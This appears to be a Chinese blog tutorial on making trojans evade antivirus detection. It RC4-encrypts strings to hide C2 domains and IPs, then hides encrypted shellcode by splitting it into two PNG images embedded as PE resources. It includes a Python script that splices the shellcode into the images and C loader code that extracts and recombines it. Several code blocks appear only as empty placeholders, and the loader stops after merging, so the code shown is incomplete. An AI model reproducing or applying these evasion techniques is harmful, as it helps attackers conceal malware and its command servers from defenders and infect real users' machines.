#字符串加密
写马时如果存在对外发起请求,那么就会在字符串中存储IP或域名。而字符串在PE中是能够直接查到的,这在静态检测上不利于对C2域名或IP的隐藏。当然加密字符串不止为了隐藏域名和IP这一种用法。下面介绍对字符串用RC4加密,并以16进制存储的方法。
#RC4 加解密字符串
|
|
结果 查看1.txt文件,发现都是乱码,其中可能会包含一些不可打印的字符,这样的结果是没办法作为字符串保存的。
下面介绍把此结果转换成16进制形式存储,并对字符串解密还原。
#以16 进制存储结果
首先可利用python 将1.txt的内容转换成16进制。
|
|
得到结果: eef725647574cc48fa4dd3f927932e70b152
下面对该字符串每一位进行处理还原
|
|
完整解密代码
|
|
#利用资源文件隐藏 Shellcode
隐藏 shellcode的方法常见的有两种: 放在服务器上远程下载或者放在本地。远程下载不必多说,有各种Windows API支持。本地存储shellcode也有两种方法: 一个是加密成一个文件,单独存放。一种是打包在PE的资源文件中。前者会多出一个文件,不利于部署。存储在资源文件中相对来说比较方便。
为了保证免杀效果,将首先对shellcode加密,再对shellcode 拆分,分别填充到正常图片中。此方法至少能保证消除shellcode静态特征。
-
首先利用RC4对shellcode 进行加密。
上面介绍过了RC4加密方法,此处就不重复贴代码了
-
将加密后的文件,拆分成两份,并分别填充到某个正常图片中间。
这里写了个简单的python 脚本来进行处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
#coding:utf-8 import os import sys shellcodePath="encrypt.bin" #rc4加密后的shellcode pngPath="xx.png" #正常图片,不宜过大。 def echoPng(shellcode,num): with open(pngPath,"rb") as f1: png=f1.read() png1=png[:300] png2=png1+shellcode png3=png[300:] pngAll=png2+png3 with open("ico{0}.png".format(num),"wb+") as f2: f2.write(pngAll) with open(shellcodePath,"rb") as f: #拆分shellcode成两块,并插入到文件中。 shellcode=f.read() shellcode1=shellcode[:len(shellcode)//2] shellcode2=shellcode[len(shellcode)//2:] echoPng(shellcode1,1) echoPng(shellcode2,2)
-
添加这两份图片到资源文件,并在代码中进行还原。
还原代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
#include <Windows.h> #include <stdio.h> #define imgLen 1000 //此处定义原始图片长度 BYTE* getResource(HMODULE hModule, INT num, DWORD* PartLen) { HRSRC ResInfo = FindResourceW(hModule, MAKEINTRESOURCE(num), L"PNG"); if (NULL == ResInfo) { exit(1); } HGLOBAL ResData = LoadResource(hModule, ResInfo); if (0 == ResData) { ExitProcess(1); } LPVOID lpResData = LockResource(ResData); DWORD ResSize = SizeofResource(hModule, ResInfo); BYTE* data = (BYTE*)calloc(ResSize - 300, 1); if (data == NULL) { exit(1); } memcpy(data, (BYTE*)lpResData + 300, ResSize - 300); //这里的300 要对应python 文件中的大小 BYTE* data2 = (BYTE*)calloc(ResSize - imgLen, 1); if (data2 == NULL) { exit(1); } memcpy(data2, (BYTE*)data, ResSize - imgLen); *PartLen = ResSize - imgLen; return data2; } int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd) { DWORD Part1Len = 0, Part2Len = 0; //通过序号读取资源 BYTE* Part1 = getResource(hInstance, 101, &Part1Len); BYTE* Part2 = getResource(hInstance, 102, &Part2Len); if (Part1Len == 0 || Part2Len == 0) { exit(1); } SIZE_T FSize = (SIZE_T)Part1Len + (SIZE_T)Part2Len; //总长度 CHAR* data = (CHAR*)calloc(FSize, 1); if (data == NULL) { exit(1); } //进行合并 memcpy(data, Part1, Part1Len); memcpy(data + Part1Len, Part2, Part2Len); }